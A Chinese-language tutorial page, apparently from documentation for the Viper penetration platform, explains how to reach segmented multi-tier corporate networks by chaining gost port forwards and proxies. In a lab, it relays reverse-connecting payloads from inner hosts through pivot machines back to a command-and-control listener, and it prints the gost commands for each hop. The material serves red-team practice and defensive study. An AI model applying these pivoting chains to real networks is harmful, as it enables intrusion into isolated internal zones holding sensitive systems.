跳转到内容

多级内网渗透(gost&viper)

什么是多级内网

标题中所说的多级内网,常见于各种大型企业.举个例子,如下图

A网中一般是企业的DMZ区,里面有对外的web服务器,dns服务器等.

B网中一般是企业内网的服务器区,里面有域控服务器,内网OA等.

C网中一般是企业红区,里面有敏感信息存储的数据库,或者各种关键业务服务器.(比如医院的HIS,工业企业的工业控制器等)

这种网络中,A网可以连接互联网,B网可以连接A网和C网但是无法连接互联网,C网只能连接B网.

Viper与gost结合渗透多级内网

实验环境网络配置如下:

  • 上线192.168.146.1

  • 在192.168.146.1上使用gost启动一个端口转发,把192.168.146.1:2000的流量转发到192.168.146.130:2000
plain
gost.exe -L=tcp://:2000/192.168.146.130:2000

  • 146.11执行回连到146.1:2000的payload,146.11上线(可以看到是通过146.1回连的)

  • 上线146.12比较复杂,首先在146.1:8080上用gost启动一个代理
plain
gost.exe -L :8080

  • 然后在146.11上启动端口转发,流量经过146.1:8080这个代理
plain
gost.exe -L=tcp://:2000/192.168.146.130:2000 -F 192.168.146.1:8080

  • 146.12执行回连到146.11:2000的payload,146.12上线(可以看到146.12是通过146.1回连的)

  • 146.12的payload连接146.11的2000端口后,146.11的gost会把流量加上代理头,然后发送到146.1:8080这个代理上,146.1:8080解析代理头,最终将流量发送到146.130:2000

Terms · Privacy